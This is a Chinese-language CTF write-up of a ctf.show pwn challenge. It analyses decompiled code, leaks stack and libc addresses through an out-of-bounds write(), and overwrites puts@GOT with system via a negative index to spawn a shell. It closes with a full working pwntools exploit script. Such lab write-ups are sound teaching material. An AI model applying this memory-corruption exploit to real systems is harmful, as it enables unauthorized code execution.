首先先来看一下程序的保护情况
这里got表可改，没有开地址随机
接着看一下ida逻辑
很直接，只有一个main函数，一点点分析这段代码
buf[1] = __readfsqword(0x28u);
init_func(argc, argv, envp);
buf[0] = 'gfedcba';
v5 = 0LL;
while ( (_DWORD)kl )
{
puts("i am bad boy ");
__isoc99_scanf("%ld", &v4);
write(1, (char *)buf + v4, (unsigned int)kl);
LODWORD(kl) = kl - 3;
}
首先这一段设计的非常巧妙，kl的值是6，说明while循环可以执行两次，第一次只能泄露出6字节的值，第二次可以泄露3字节，然后buf地址的偏移是0x10，我们可以gdb看一下
可以发现第一个绿线是buf地址，第二个绿线可以泄露libc地址，第三个绿线可以泄露出栈地址
以下是泄露的exp：
io.sendlineafter("i am bad boy \n",str(40))
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
io.sendlineafter("i am bad boy \n",str(24))
libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))
print("libc_start_call_main"+hex(libc_start_call_main))
libc地址其实3个字节就够用了
然后又可以往buf地址写个3个字节的值，这里我们只能写出'sh/x00'
接着修改puts_got的内容，修改成system函数，最后再调用puts(buf)的时候就可以达到getshell的目的
__isoc99_scanf("%lld", &v5);
if ( v5 > 8 )
exit(0);
printf("HaHaHa ");
read(0, (char *)buf + v5, 3uLL);
puts((const char *)buf);
return 0;
ida代码中这个v5的值是可以输入负数，于是我们可以输入负数来实现got表的数据写入，我们只需要知道buf地址，以及puts_got的地址，buf地址可以通过泄露的栈地址减去0xf8来确定
puts_got的地址如下：
然后我们就要来解决system函数的问题，我们现在是可以往puts_got的地址处写入3字节的值，其实已经完全足够，因为其它5个字节都是随机生成的基址
首先我们先libc_start_main-231确定到libc_start_main函数的地址，然后减去libc_start_main函数偏移得到后3字节的基地址，再加上system的偏移就是system函数后3字节的真实地址
完整exp如下：
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io=remote("pwn.challenge.ctf.show",28202)
io=process("./pwn")
elf=ELF("./pwn")
libc=elf.libc
io.sendlineafter("i am bad boy \n",str(40))
stack_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(stack_addr))
io.sendlineafter("i am bad boy \n",str(24))
libc_start_call_main = u64(io.recv(3).ljust(8,b'\x00'))
print("libc_start_call_main"+hex(libc_start_call_main))
io.sendlineafter(b"because i'm not girl ",b'sh\x00')
puts_got_addr=-(stack_addr-0xf8-0x601018)
print("puts_got_addr"+hex(puts_got_addr))
io.sendlineafter(b"so can you fell me? ",str(puts_got_addr))
system_addr=libc_start_call_main-231-libc.sym['__libc_start_main']+libc.sym["system"]
io.sendlineafter(b"HaHaHa ",p64(system_addr))
io.interactive()